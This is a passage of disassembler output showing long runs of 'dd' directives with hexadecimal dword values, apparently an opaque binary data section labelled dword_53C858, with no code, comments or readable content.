		dd 1AA2056Ch, 4B4CF50h,	886098E9h, 47778455h, 6F90E18Ah
		dd 0A400BC39h, 559BDD7Fh, 8C48ABFFh, 48FD2290h,	0A4803C12h
		dd 0C42313C9h, 9D885E12h, 4A8E2404h, 0DA74D600h, 770BE846h
		dd 901DA998h, 0D750CCh,	27626D9Bh, 34E73CAAh, 301D4826h
		dd 9219D6C0h, 12B50411h, 0B43126D9h, 0B39EF5Ch,	0F26D00E0h
		dd 0ED720DF5h, 0C87BBCh, 3A92E3A4h, 27A89C3Fh, 0D8C6D524h
		dd 0B8907092h, 50CA389h, 8B67054Fh, 0C4B47428h,	5F18A005h
		dd 99021B25h, 97E112C8h, 0DC22BC2Dh, 48C39E25h,	0E817300h
		dd 5CE95382h, 0B369DB64h, 0CAC90030h, 0CC1240EEh, 70B4B4F5h
		dd 2D0065E1h, 94900CBDh, 9C5F674h, 60018F37h, 1B8214C7h
		dd 4431F753h, 79820124h, 17052286h, 436C20DAh, 35EF4900h
		dd 3E8010C3h, 0A29F0004h, 2601CFBFh, 670078B1h,	8B88A854h
		dd 79B6031Bh, 8F4F156h,	0A51E00E8h, 7A4D8ADh, 7B3AF020h
		dd 4B097E7Ah, 8001F87Ch, 35FD01Dh, 0E5C918B3h, 11B028A3h
		dd 6E0FCC00h, 96AAA504h, 82F0EB3Dh, 0B108C054h,	0E741ADB7h
		dd 32448A00h, 0C07B4FF8h, 13B403BDh, 91A4FDC9h,	1D5EAD8h
		dd 0B86EF900h, 3541C2C1h, 53A10024h, 0EF9E582Ah, 0BCAB9FEAh
		dd 92475900h, 769CA9D0h, 0C1A40EB3h, 9A061EDh, 94B0EBB5h
		dd 68A0B72Ah, 680CE3h, 0FFFB2767h, 0AC5D48E7h, 8D06567Ah
		dd 0A0473025h, 4C1EFC29h, 5E016B78h, 0C62A7F50h, 6E49C4E5h
		dd 72BFC100h, 0F5162280h, 767D0383h, 356DDF1Ah,	0FB6EA11Bh
		dd 7187C049h, 3FFF00E6h, 0EF1B01C6h, 0A504C76h,	0F11F03BCh
		dd 0C305C967h, 0DC007FB4h, 4F76C774h, 97C7D5Ah,	3F14691Bh
		dd 0C3909A88h, 310FB3C3h, 0AF3F9E10h, 2D4F0Fh, 0A5143BF7h
		dd 80DA54A0h, 6B4B09B6h, 1F8C67DEh, 1B492CA1h, 0EEC91514h
		dd 30F316E8h, 0B0B603BEh, 5FC845ADh, 0B11E87AAh, 5943223Fh
		dd 90258524h, 515C8175h, 82CCDC97h, 0F2F9C0F9h,	6BB71412h
		dd 0E30041B0h, 0F744FD5h, 31DFB221h, 5C295167h,	359050AEh
		dd 5B07C713h, 2A706BC0h, 0DF7D2330h, 597F003Bh,	76DE629Fh
		dd 9CAC1AE3h, 41B15C30h, 0D9B992h, 0B263F711h, 0D7A4765h
		dd 0E60F19E2h, 0B5B709D7h, 1CE2DE9Ch, 0C7B670ADh, 803F07EAh
		dd 0B5EFE150h, 812459C0h, 930B862h, 0D73540A1h,	7BF69830h
		dd 57AF4700h, 4BB76B07h, 0E1649196h, 83DC5FA5h,	47D12070h
		dd 0DD610EAAh, 58E0F73Dh, 186BDC5h, 30030FAh, 9AD07EBBh
		dd 383A05Dh, 37E74233h,	0A011B52Fh, 0F453B67Ch,	85C15900h
		dd 0B307AE7Ah, 343C3700h, 8FFB1ACFh, 788C48DBh,	24FA7B10h
		dd 4C2A1203h, 0AEAA6138h, 3809E232h, 0C308B81Bh, 0CC94A8E9h
		dd 9781E93h, 7000BF0Ch,	1B3A017Bh, 5C505243h, 31002268h
		dd 919F417Eh, 3C00297h,	0DCBC5863h, 23B0FCF4h, 8572B104h
		dd 6027E7h, 8BD34806h, 29E765h,	0D8E52C43h, 9ACAD2Eh, 0F0258C05h
		dd 0CC210CE9h, 582564DFh, 20A92442h, 7D88EF4Fh,	0D0002CE2h
		dd 0FB478071h, 74DE6AA4h, 4831C959h, 0CFD16402h, 1B76B202h
		dd 0AEB8E0D0h, 95834A9h, 7ADD1DCh, 81E686DBh, 0DCEE507Dh
		dd 0A41BDE82h, 0C129E157h, 4180056Ah, 603F133Bh, 5714C974h
		dd 0A480F6BCh, 8715E020h, 0DE660F77h, 24207BFFh, 0BAA46B47h
		dd 0BB4D3B01h, 0B8B26735h, 316ECC40h, 0E0AB21h,	331A9450h
		dd 83772353h
		dd 86EAFA00h, 18E5AE3h,	99E060C9h, 0A1D03851h, 0C69938h
		dd 77B8A7FFh, 935481Ch,	365BDF55h, 50F85C91h, 0BF60230h
		dd 18491B32h, 59802016h, 0FD26CC91h, 91CEE0FAh,	49EE7C80h
		dd 88A8A55Ch, 640F8088h, 74289D4h, 20B7C25h, 41138227h
		dd 0C31724B4h, 0B91CE2C8h, 0F7DCE71Dh, 0DC8E2800h, 59421F7Ah
		dd 3800042Ch, 0FF81ADF0h, 50EAD3AFh, 60A8C625h,	39619E05h
		dd 3EB13A33h, 0BD16C228h, 0C7CE806Eh, 0F91A4A2Dh, 8A070054h
		dd 0C10197DFh, 4467E840h, 2F705598h, 13B18B8h, 609F38CEh
		dd 5040D9A0h, 0B2F70928h, 0D55D80h, 0C84BA156h,	5F8448DCh
		dd 8E624E00h, 93876030h, 0A02C0379h, 2F9B19A2h,	8092E9C8h
		dd 3C0E36F6h, 21F995BCh, 293950CBh, 2263CCh, 9A81A1A3h
		dd 1B6035A7h, 5E0C9B7Fh, 80CD1120h, 0B9AC1C62h,	0D9CAC0EAh
		dd 0C0F7D7A1h, 9587F0Ch, 0A4E902h, 6CBF1069h, 0BE0BAD0Ah
		dd 71624A01h, 0CF7D9BF6h, 0A8914886h, 21303105h, 0B894F120h
		dd 0AA67058Fh, 8362D29Fh, 7BE8AE3Fh, 0D814107Dh, 0C080CA08h
		dd 0F858EB9Ah, 9BD200B7h, 95B9CB8Dh, 5115B1DEh,	829CA1E0h
		dd 23EFB091h, 717C98F7h, 52896324h, 0A0186018h,	2273886Ah
		dd 0AB16F1C0h, 0EA66ADECh, 0FB5306B5h, 0B8E54DAAh, 2EE91E44h
		dd 7EBB075h, 0C09643D8h, 72AD4216h, 35565A00h, 48631710h
		dd 60C07D65h, 99CE583Dh, 58011BA1h, 2FCF0E93h, 8884CA84h
		dd 406BC138h, 0C3B02AC9h, 0F4FC75h, 8C63EB2h, 0C224379Ah
		dd 4D070500h, 0CBF8CFA8h, 0D79E0551h, 607B26D1h, 94C321C8h
		dd 3E9C900h, 375778C8h,	608E7CF3h, 0EC8D71C7h, 0D3003E95h
		dd 0F8B03314h, 0E2E2FB77h, 0F54201AFh, 0A02E3271h, 0ED998D19h
		dd 3BE008F3h, 1FEA18AEh, 0A662B111h, 44496BFAh,	535F3E3Ch
		dd 14E80284h, 4326244Dh, 2A6CA83Ch, 7A33008Ch, 92824658h
		dd 0AA83DF97h, 9AD899B4h, 8D153009h, 5784A602h,	910F2335h
		dd 184309D4h, 0FC3A8017h, 1BE60393h, 9555B5A8h,	6CC1801Bh
		dd 83269849h, 4FD91C78h, 7EE67Dh, 9EDE0C0Ah, 25057ACBh
		dd 5C59B5B3h, 4B6DE042h, 20DCAE3Ch, 608F5495h, 0A13B0CABh
		dd 0ECA11B21h, 8BA4A00h, 472AD586h, 221000F4h, 0CD16961Ch
		dd 631EA451h, 9409F741h, 0CC3424FAh, 8E45E640h,	9F1872B3h
		dd 0A150CA5Bh, 34DA4856h, 0AA2707C0h, 4000554Ch, 0CC8013D3h
		dd 0C0659196h, 772581F8h, 0B402D833h, 9CF70F8Bh, 21B84488h
		dd 1F11274Ch, 1DF91500h, 6234A282h, 36E1DC02h, 48C62068h
		dd 0AD480Ch, 0A681C112h, 0E25A1CB5h, 0C3395F00h, 0F8B3E8DAh
		dd 0BDA90598h, 5E578F71h, 1C381194h, 97C1F688h,	16A2DCA0h
		dd 91BA0FCCh, 14C90114h, 0F4819CFDh, 0EAFCBC1Bh, 417911B0h
		dd 39C1B300h, 0C4E4B0E8h, 0A62D00CBh, 0E723F00Dh, 987218DAh
		dd 33C6C302h, 81213296h, 995B5C58h, 768ED4h, 85917CD9h
		dd 0B13F787Dh, 736A53Eh, 0BE65ACA6h, 0F2838C5Ah, 0A0E6681Dh
		dd 3B0C9Eh, 285ABECh, 170F8C97h, 0EB45895h, 0FCCB5E13h
		dd 0B7D68120h, 3B078864h, 797313Dh, 2CD81859h, 0C89B0093h
		dd 0B490506Ch, 0BF008A71h, 97CBB7E5h, 4D799DC7h, 3902F0CFh
		dd 83D105D9h, 7CC2DC81h, 0F1CC501Dh, 54E1B792h,	3C4C82D8h
		dd 0B9A1C220h, 25E1CDAh, 14EF8049h, 3E5CFE70h, 7D343B1Eh
		dd 0C8422070h, 0BC230027h, 3F0C5414h, 50F521D4h, 0EBEF9994h
		dd 231F2A03h, 885EA53Ah, 76C30A7Fh, 0B56E0432h,	902F79ABh
		dd 6E939A8h, 4CA9F960h,	54741D7Bh, 0A2E429h, 990FCF0Dh
		dd 0A8F9CB75h, 9048B690h, 58C11808h, 0A00F16B9h, 0C4D9DF5h
		dd 0ECD82046h, 0BDECAE41h, 1AC88F54h, 6E0090EAh, 0ACD2CBEEh
		dd 2699F59Dh, 7E89AE4h,	4143103Ah, 349FBDC0h, 0EF4908E0h
		dd 415006C0h, 4818D739h, 5300BC13h, 803FC1B7h, 78014E5Bh
		dd 83979C51h, 0B8588CCDh, 891C1h, 0E70FB41h, 0CC013106h
		dd 6697E7E0h, 0E0202C0Ch, 9D07139Eh, 2F580BF7h,	2341E58Ch
		dd 9FE4DA48h, 0E020AE16h, 54095D3Eh, 15E429h, 37A3FDA2h
		dd 86287F39h, 780150F8h, 6640E28Eh, 58624155h, 51367318h
		dd 6B000CCEh, 8F92FE6Eh, 2A58A9AAh, 9AC571Ah, 9B3C16EDh
		dd 9DF41480h, 5116DB86h, 280A613Fh, 41915018h, 9EF73906h
		dd 913C4159h, 5069E7B4h, 17850881h, 0E0EE2061h,	80E3FF04h
		dd 1F6AAA92h, 0C96AB8C9h, 7811B403h, 1E68047h, 0D0F011Fh
		dd 85E376ADh, 0A0E06165h, 6C86B070h, 0EF37E600h, 0C2AE00Ah
		dd 8B7900B8h, 0B9FE9B98h, 0FB047D2Ch, 99B0E5DCh, 9A9604C1h
		dd 137F7820h, 20BDEF81h, 0A9C375E4h, 13218B00h,	9E598993h
		dd 0AA413E34h, 0E46C8000h, 0B6FD0C3Fh, 12F8C153h, 0BF055710h
		dd 8C30131Fh, 80BF5B20h, 3065ED23h, 54C80919h, 40790046h
		dd 0C1493C35h, 0F20028C5h, 0A4055EEBh, 7681CD6Eh, 828D002Dh
		dd 9721FFF1h, 0EC38A523h, 39F67556h, 6C44BD00h,	9CDEA017h
		dd 0C07500BCh, 0E7133F35h, 0FC122C1Fh, 5207E2D8h, 0E3002E05h
		dd 1A79165h, 99A1E76h, 81877B53h, 0D801EA58h, 6986D2CEh
		dd 1898A0F9h, 583DF6F0h, 59901DE1h, 491B9103h, 372875D3h
		dd 6058F9ECh, 0D66E9B45h, 49BB0501h, 0BF16F64Ah, 9EE40C41h
		dd 0AA216981h, 8DBD74h,	0BB457Bh, 0E0A0FA22h, 0F721E9E5h
		dd 32A2C81Eh, 0F45B6EC1h, 0C8FB0BE7h, 30FA252Bh, 0BE29C29Fh
		dd 88C0E8FBh, 868A96ACh, 8F6F48FCh, 6666E00h, 35AA1519h
		dd 32E4C806h, 0E39E25Ch, 0CE2B5938h, 0FE41EC40h, 3D0540CAh
		dd 79532271h, 0F4EA8040h, 0A252F7h, 0D4696E95h,	7087BB30h
		dd 0EF9CCD00h, 73AD6253h, 16DC00E9h, 0DA2542F3h, 0E0F51E6Fh
		dd 11C35A0Bh, 7AEBA56h,	946DF729h, 0AA533091h, 3C03F660h
		dd 0D16807Eh, 2A797DEFh, 7949B68h, 0E6053850h, 71800E5Eh
		dd 0FCEFF81Ch, 4B2FB302h, 0A0521682h, 5F5643C4h, 0DF800001h
		dd 3668F750h, 5D003206h, 0EF92A9FAh, 0C3A895ABh, 541A9158h
		dd 7956390Ch, 0A101F193h, 0D8C0A9F4h, 91ED00E4h, 85340E68h
		dd 0A1303C06h, 56FC2920h, 64D60044h, 824C4965h,	44A34E11h
		dd 8106F4CBh, 0FAF19F31h, 2BF02D9h, 8F5F88D9h, 0EFAEF9C1h
		dd 99945100h, 0EB21DD41h, 955300CAh, 8569ECBBh,	0E5009EE9h
		dd 0EF101C2Dh, 265B020h, 0CBF752DDh, 0D083BC93h, 49152A7Ah
		dd 7F0CD5Ch, 4F45D806h,	0B615320h, 1550F7Eh, 1F60D611h
		dd 93D0B74Eh, 85DF5C0Fh, 0BA4138DEh, 0A8B90EF1h, 0FDAC08A1h
		dd 30008DB9h, 36D32F88h, 0F0E5CE5h, 0EE68CE4Ah,	3CE856C0h
		dd 6C581A82h, 0F1A80C87h, 7FA39F6h, 0D516B5C7h,	97A704Eh
		dd 3800FF95h, 1FBB8D56h, 7E011A47h, 60CB3A44h, 0DDE92B80h
		dd 0B4735689h, 17D18D00h, 0BEFFF216h, 0DABB898h, 0E5F0D6D2h
		dd 0F4CBF561h, 5200B5BCh, 1BFB556Ch, 3DC760C5h,	3E00205Ah
		dd 6CB0714h, 72EAA02Eh,	3DBB250Fh, 94CA6AE4h, 0F9D6D886h
		dd 86DB2A51h, 45B00084h, 1764EC7Eh, 213E1CEDh, 2D1F0171h
		dd 20AED6D5h, 4C53BC42h, 0A455F01Ch, 648212A4h,	6C08424Ch
		dd 2464D640h, 77171600h, 0D455C0DBh, 63BFEECEh,	1E7C1176h
		dd 5141E7D0h, 6E3B2F00h, 0EC8D9215h, 0F45700C4h, 63F128EFh
		dd 5E048812h, 75944B0Bh, 0A4063883h, 0F7BAA880h, 0C07E4839h
		dd 64A80A24h, 6208375Bh, 84A0E45Dh, 0EDBF2DDh, 43021D00h
		dd 3768EE79h, 0A51A1292h, 24A000F7h, 55F2107Eh,	0AA1F9B06h
		dd 61F8F1h, 78A48CE9h
dword_53C858	dd 655CE8E7h, 0D3741000h, 4A4CFC50h, 40F86189h,	51B96F56h
		dd 83647084h, 0F75E4F80h, 9A9B9A54h, 715C0590h,	8CD814h
		dd 392FEBF5h, 0A04D77FCh, 615510h, 2DEECE9Bh, 0CB4F6BD3h
		dd 3B99F03Ah, 0A0330214h, 0A353BEF7h, 0F06DF6C4h, 8E8234h
		dd 2637C291h, 95FCECCCh, 0C8D6E800h, 40CDF593h,	56150006h
		dd 0F76DC197h, 0EB50B948h, 944479F8h, 4FC03099h, 7B2B6559h
		dd 0DE25E71Dh, 9A532130h, 32E800D5h, 15FFF90Ah,	0DE1068CFh
		dd 9109730Eh, 0DCA5FA62h, 0C8A420F4h, 2F00FB30h, 0F0175BDDh
		dd 7D375F64h, 8092507Eh, 60147D4Bh, 26437950h, 44017406h
		dd 60A8F3E1h, 1434F805h, 14BF5001h, 0BB1300AFh,	94DC72EAh
		dd 0A1035CBCh, 0DE4205B1h, 0C5B1007Dh, 2ED8CF8h, 3B007C70h
		dd 80CAAFE7h, 0ABA858h,	2BE297BDh, 0C9D8F436h, 0E9EBD344h
		dd 9E4E9880h, 91EC505Ch, 23AC33E7h, 0BA64247Bh,	13D0D185h
		dd 0CA500351h, 0C0BE20B0h, 0B6FE600h, 0B3FF0470h, 869D2F0h
		dd 9E80E46Ch, 0B8D1879Dh, 4C4000A5h, 0D331DBEFh, 0DF3A382Dh
		dd 0AD630096h, 779A3F83h, 7907005Ah, 0F2D614A7h, 4F309448h
		dd 0B8102839h, 10BFE98Bh, 0C57A221Fh, 0C759090Ah, 37F983DDh
		dd 873B2800h, 67D61A3Dh, 7C3601E8h, 0C442D854h,	0C8E03191h
		dd 1B0006B1h, 3BB9059Ch, 52A5560h, 0D9B06C2Dh, 0AE380018h
		dd 8E1489B4h, 94530403h, 18F39110h, 29B19281h, 443CDC1Bh
		dd 852F0E4Ah, 702BE09Dh, 101042E8h, 795DD92h, 54D2EEE3h
		dd 0EE590E33h, 0DB2831C9h, 6F1F8351h, 11500E0h,	5278778Ah
		dd 0F84603EBh, 710324ACh, 0B0AAF58h, 0D37918A7h, 1BE3F1FFh
		dd 0C8254C05h, 0BE01C4D5h, 0D952173Ah, 0C5DEF0h, 66468FAAh
		dd 0A92B0E30h, 810F9030h, 2E0B81h, 2D06CFC4h, 0EB89B336h
		dd 80F2E8C8h, 0AFAE35FFh, 800C999Eh, 81BA93B3h,	60F60019h
		dd 0A01B588Bh, 98054156h, 0D7076D99h, 686DA1Ch,	48E023h
		dd 0E37179F9h, 53F64712h, 6E97AC07h, 0DAA041DDh, 39D88E5h
		dd 0E8682BBBh, 0D900FED3h, 620C870Dh, 2C89B0C9h, 1A0D2B6h
		dd 4BEE18C1h, 9FDFE840h, 0CD2DF007h, 0D5509B8Ah, 1CEA1D3h
		dd 0ECADB02Ah, 80A59213h, 745F17B1h, 0F76F11Ch,	0D8A3B736h
		dd 0E3DE2B80h, 943A4254h, 0DBF6801Fh, 0A619BAEEh, 3D55B01Eh
		dd 0B14C1A2h, 37010CC8h, 22DF7338h, 0AF0C2009h,	1660D9ECh
		dd 7D1D9669h, 224312F7h, 0C4C102EAh, 0A8A00D0Ah, 53CF3EDFh
		dd 7638DB18h, 912B6031h, 0D57A0004h, 7C40F641h,	0BD3F5800h
		dd 78D286E6h, 0D8C300D0h, 521EBC1Ah, 44915EFh, 0ED2750A0h
		dd 0B39241C6h, 0B2D90569h, 80CE1F57h, 0ABA966B3h, 6FC0454h
		dd 9FAC0C48h, 8611D508h, 1997A3E0h, 0BF8E1B07h,	15206924h
		dd 6006187Ah, 898C11BEh, 9101AF43h, 5CCEB7A6h, 2F602223h
		dd 6786392Bh, 0A391EEB3h, 0BDB95998h, 858C0600h, 0D5471DB5h
		dd 0C5A6019Dh, 0CE55E697h, 8168F05Eh, 0BCD20C04h, 348CB21Ch
		dd 422507C5h, 7096F8ABh, 0C166B37Ah, 8E48D971h,	98870058h
		dd 0CE82DCBDh, 79E6614Dh, 0E8A133FFh, 2B54D347h, 5170C594h
		dd 9A6CFC00h, 490F2FAh,	0AEBE0088h, 10B39154h, 41C2E78Ch
		dd 0A14E14F0h, 0F22B62D0h, 70540A11h, 34039B3Eh, 0C74C035Fh
		dd 8B66D8EDh, 3B30C160h, 10E58E10h, 8D9FA0h, 0AEA36280h
		dd 673330E2h, 43A78B00h, 0A2FF38A6h, 0B6872210h, 0F9DF927Bh
		dd 8A3EEF40h, 0A1717Bh,	4A88E858h, 4651AC99h, 3311A00h
		dd 98E5E1F4h, 3EBC261Ch, 0EC0D1410h, 4010A7C4h,	0AE9DA006h
		dd 17210940h, 0AC8FE43Ah, 3C5A94FCh, 7309AC22h,	805261C9h
		dd 8BBE2D9h, 4801F93h, 98E10E79h, 603001BDh, 50D89933h
		dd 0D65F8B08h, 2C043BE0h, 0B017EF78h, 90102C90h, 1CCCA4F4h
		dd 0C0A4681Ah, 4BBF1536h, 8F3D583Bh, 0E470A89h,	0CE67E08Ah
		dd 6461320h, 0DCC9C00Ah, 0E6C60DD9h, 0BE3E8E1Eh, 0B1B2944h
		dd 8868C8h, 73A0821Eh, 94C07F58h, 0D0A18F00h, 0F8DB159Ch
		dd 0C94A0F13h, 0E8819055h, 0F0D499EFh, 0A1E20AF0h, 84018905h
		dd 0CC0F4E9Bh, 0F2042035h, 90B4BD75h, 931028E4h, 2C2F4850h
		dd 20FA8BC0h, 0BA0BC5C2h, 0A8B637h, 0B4C1F9BAh,	7C722DE3h
		dd 0CB039F58h, 0A6BF73E0h, 63D802Bh, 0FAB9C00Dh, 70879460h
		dd 0A376C277h, 766B6C01h, 0EA3A0D64h, 351B1F8h,	15DC3FCAh
		dd 1BB31206h, 8C8598A0h, 0B41CB872h, 9193AF40h,	0AC930020h
		dd 543F44Eh, 3B6CC43Ah,	3170814Ah, 0DBC91055h, 82B8992Bh
		dd 23A41C4Ch, 161D8560h, 40B15900h, 3E7C8A7Eh, 8CC700F8h
		dd 6F5D0C95h, 0C2389EE8h, 0D03600A9h, 32DAFFFDh, 0D70A0112h
		dd 575A44B1h, 3C94C4A6h, 0AFCE3Ah, 22691876h, 236191Bh
		dd 0E97D5781h, 9940340Bh, 0C62D8DBFh, 0EC47654h, 0C8985893h
		dd 3600AEEBh, 0F1C98EF7h, 4917DA28h, 0AF016C91h, 0EABDEC77h
		dd 0AC6C48C7h, 0C3648h,	0BC7D5921h, 5566099Ah, 6F88C45h
		dd 0FA4CB222h, 75771EACh, 0BB3800F0h, 31CCA5D5h, 1865F213h
		dd 47950C07h, 3608E340h, 33AB1252h, 65BC002Dh, 4C9053E2h
		dd 0D5009D7Ch, 110DDB64h, 16CAD00Ah, 197F839h, 0C4AA0221h
		dd 34C326Eh, 1B2CC0Ah, 574EC049h, 8D45009h, 7141041Ch
		dd 851A9E07h, 68E804D0h, 0AE364098h, 133883BEh,	22CF1306h
		dd 0C7279BE4h, 1D851C6h, 0DA6B3460h, 30E68853h,	0BEFE0D8Ch
		dd 0C3BA1F09h, 60B88F3Dh, 931CB78Bh, 1E41C0A9h,	687FB3C4h
		dd 0F6D5AB1Eh, 62BE10C0h, 0F6052A13h, 6C095C9Bh, 7CC9D33Bh
		dd 0DBC54000h, 58F08DEBh, 0C6C6600h, 5A3246C9h,	0AE530029h
		dd 54EE4BD7h, 0F302E52Dh, 93C08BD8h, 0F400C13Fh, 0CD970841h
		dd 14A8A9C0h, 0BCB77438h, 3BA64A07h, 0B960BE03h, 29D9D8BEh
		dd 3757AD02h, 0A0DC2CAEh, 1A3540A8h, 0C8E60063h, 921FD90Eh
		dd 0CA039A5Ah, 0DA25AF6Fh, 0B9149133h, 1A2DBC70h, 0C1022CEFh
		dd 6F0050C6h, 0C062A5FBh, 912142h, 0CF29ED98h, 2850110Bh
		dd 8028F969h, 1F15F008h, 409014h, 5C093B36h, 0DEA36D7Ch
		dd 0EC8F1015h, 22F016D8h, 0E1372020h, 0EDD90949h, 38802986h
		dd 0F2E31A0Fh, 888CE600h, 738B54CEh, 0BB90094h,	92D890BBh
		dd 2B008E2Ah, 175E1BF1h, 0B16024h, 0DAC37994h, 508BD049h
		dd 5C73DB07h, 104B0AC0h, 0B93698h, 0CE212E77h, 78B84041h
		dd 652BB317h, 384EA712h, 0B44296DAh, 4CAEC494h,	0D2A915ECh
		dd 0D9008CF1h, 0EFEA70A2h, 38B9CE8Bh, 3AEDE501h, 2FF47A83h
		dd 1D7188h, 0C5554037h,	0E7BB8776h, 583CC424h, 12573F0Eh
		dd 0CF361C00h, 99D0815Bh, 62C20038h, 46A0C42Eh,	7C01D27Eh
		dd 0F503A3C7h, 28E0EEA2h, 928900B5h, 63D178C2h,	8B00BE85h
		dd 0FE13F35Ah, 692CCE42h, 619D4h, 0AF71A127h, 0CCC40B07h
		dd 0BAF94CEh, 64C05B1h,	228888h, 0B84112C1h, 0AAEB98Eh
		dd 0A0950B2Ah, 58AC3400h, 0E5CE6629h, 53D609BCh, 0FC14F468h
		dd 0C600C82h, 1CB9E88Eh, 0E2BE44BAh, 0AE4A33B0h, 0B3883680h
		dd 2898C06Dh, 0F39A0B00h, 0F73F7A7h, 4060B8BFh,	0DF0097D4h
		dd 3756C6E0h, 54A3671Dh, 60ADCCEEh, 4938C113h, 83B855B6h
		dd 857C2E4Ch, 0E0C0CEBFh, 582D0D0Ch, 7DC0303Bh,	73919C60h
		dd 0CFE7A007h, 0D2C19590h, 8C20F3FCh, 80209428h, 1781BECAh
		dd 0F00D82Eh, 74B02A16h, 7641A41h, 15C70CACh, 0A9014093h
		dd 78C53ECFh, 9CC8284Fh, 0D4543E6Bh, 0AFC62082h, 4E2FE829h
		dd 8BC7C0C0h, 1D6401Bh
		dd 0CEB862ECh, 9352D31Ah, 1090EFC1h, 180F2BD5h,	41898A10h
		dd 0BE008CD6h, 0CA88B3CEh, 3C2C0403h, 940014E8h, 216EDD25h
		dd 0FD0AE052h, 8DB21EF2h, 682B4409h, 3B3AD8h, 0AD20B189h
		dd 0B57AC2C1h, 7107AE7Ch, 0D91BF362h, 0B3D81929h, 8513AE1h
		dd 1024EC2Bh, 60CD48FFh, 0AC655880h, 8CCBFCBFh,	0BED60375h
		dd 0C5CDD814h, 0B22209B6h, 4432Bh, 6DDCB493h, 0C86F530Fh
		dd 2320C048h, 6A862Eh, 9ABF3A8Ah, 44346DD7h, 0BE043BF6h
		dd 8E18A98Ch, 2E92DC88h, 13BA9791h, 8911AC7h, 0F8410CB0h
		dd 93393209h, 30E444A8h, 8E210EF1h, 8DF28216h, 1025B674h
		dd 0FF542089h, 13CC067h, 0B0668B29h, 0D8C93FF5h, 0E4904076h
		dd 1FF3710h, 0B862FC41h, 9C6DD90Bh, 5D293480h, 67340655h
		dd 14CC79ECh, 1EAF7h, 5F4BEA88h, 5251CBBFh, 0FE93573Eh
		dd 84FBDB09h, 2E404891h, 0E07B61h, 0F68BF8D6h, 104AA530h
		dd 7AC89016h, 0A08AA420h, 0BCF424ACh, 0AD928C48h, 1B83C41h
		dd 6D710D0Eh, 0ECA42133h, 946249E2h, 0D9360174h, 0D3AA6AD8h
		dd 68020EDh, 30A6625h, 2CD0E0h,	13190DB9h, 4606BD26h, 4CB7F53Eh
		dd 24A026AAh, 3AE28840h, 0BED26FBh, 90182A0Ch, 7FBDF038h
		dd 8B3C044Eh, 814A8110h, 0E024C8h, 6B75EEh, 0C361139Bh
		dd 3AC76393h, 0BF03E600h, 1E4DF1FBh, 88AE0234h,	69D0096Dh
		dd 12060069h, 0A85228h,	0C51B4DA6h, 0FCC0FB5Bh,	2E0CD77Ch
		dd 0F1B06709h, 46AC3C36h, 0D97BEC82h, 0F8605F63h, 114D1F6Dh
		dd 8AB93ECCh, 6C071C6Ah, 6806013Ch, 4D617260h, 3C2464F2h
		dd 7E0F2ED0h, 6740A98Dh, 0C143CBCDh, 0B26DB400h, 0D173E0F3h
		dd 78525CCEh, 458CF1CAh, 85D81098h, 8224BD00h, 18858CC2h
		dd 84709248h, 5C88A590h, 0EDCB1231h, 0E5243034h, 5000E474h
		dd 8712FC83h, 0FA7FA7h,	0CD0F91BFh, 0F7D3DCCAh,	93543271h
		dd 0A481B24h, 0CE8E8458h, 2168092h, 0A210F087h,	0F949107h
		dd 0AD60E1B0h, 0AC3B0433h, 79259704h, 348C0E47h, 0B50500BEh
		dd 14D66A06h, 0EB1C91DAh, 0B8711B3Ah, 0D3C4A8BAh, 2189003h
		dd 0EE1DB02h, 18C1E215h, 0E134388Ah, 0CC4867BDh, 303E0B9Eh
		dd 6C101BEFh, 9096B810h, 8C543A40h, 997664DDh, 639E40AEh
		dd 1D2C860h, 0C4B954E9h, 46740936h, 92508010h, 66242A24h
		dd 43DE4C9h, 97A694F3h,	0CD7BCD8h, 0D92B4A51h, 2604AC11h
		dd 59E0459h, 43B0A280h,	0BC37F25h, 4BF33684h, 6F064C02h
		dd 0A8314C51h, 0A712B321h, 0F80FB220h, 6D4348DAh, 9387953Ch
		dd 308B470Eh, 0B77515B4h, 0A0C2B832h, 3C90C6BEh, 4A0AAF3Ch
		dd 808C2AD3h, 0CCF3BD03h, 230325DAh, 1DA4A9D6h,	4FB381C3h
		dd 0E002023h, 0D565B8E0h, 0AA00EA24h, 5651F650h, 8252ECh
		dd 0D0021607h, 0B90EC13Eh, 0E3679B05h, 8433FA3h, 0AF93DBh
		dd 4E3642C1h, 8843523Dh, 1C002474h, 2396A9D9h, 481AFEEEh
		dd 9F6C93h, 33A2D4A1h, 7A161529h, 4C0F483h, 965122F0h
		dd 3E28068h, 0E188FC3Bh, 209846E5h, 962A144h, 2A8F6FEDh
		dd 84D3C4A2h, 6008E4A9h, 7AA347B8h, 0FC19003Ch,	0DB907155h
		dd 89919706h, 216093E3h, 443E943Dh, 26877C36h, 3B3840A2h
		dd 170B0691h, 70FEE74h,	23FF859Bh, 3BF2CCC0h, 7E6F3109h
		dd 2DAAA979h, 0AC2824ACh, 3E634C40h, 0B2600052h, 3E930BEh
		dd 6BEED8BBh, 0F704ECB8h, 0D3FA1F3Dh, 52B28224h, 16000C8Eh
		dd 342A6139h, 0FEC8C8F9h, 163F773Ah, 0B001FF15h, 8C48D233h
		dd 88DC6474h, 0CB009463h, 7E1B5806h, 0D998E3h, 68650B80h
		dd 0D0A7E9F2h, 0E1166312h, 8524AC48h, 0E4592FF0h, 8A449138h
		dd 53FF1D6Eh, 16949F56h, 0A890C893h, 0A04AD25Ah, 7C2C8CB0h
		dd 0DB004420h, 90C34A47h, 388EB933h, 0EF820EBEh, 0BA3D6EF4h
		dd 1098E0C0h, 0F06D688h, 2A0DF0D9h, 1914D486h, 0ED6B3C24h
		dd 94530A05h, 6867F804h, 0ED37C743h, 222B6BC1h,	0E115100Ch
		dd 17233803h, 381D08C2h, 5CEA8F10h, 0C93CAD50h,	3E1B0600h
		dd 0AE4497D4h, 99E22C2Ch, 28102788h, 87029E63h,	53F7A27Fh
		dd 3B1C79BFh, 2272F087h, 0FA8A209Eh, 0C3D0FBAh,	98E6BD14h
		dd 0ABA03B96h, 0D271404Fh, 0C85C8948h, 0CF3683B1h, 17902C41h
		dd 0DAF265B5h, 7848F628h, 91369244h, 0D27A8570h, 4E2B8002h
		dd 791631F6h, 0B80023D8h, 78D438E1h, 7420ED19h,	0C58CA08Bh
		dd 6979C4E0h, 18D35EBAh, 7CE21040h, 0E85D89Eh, 0D22F65F7h
		dd 600852FDh, 84CFFE2Ch, 0CB13071Fh, 40F0624Fh,	692E37EBh
		dd 30997FBFh, 0AF5116D3h, 39C0EF2Ch, 0F5F03FD4h, 0BC000BEh
		dd 36F85F6Ah, 5E0F2C6Ch, 0E55D7CB9h, 9460EEAEh,	4DEFDD3h
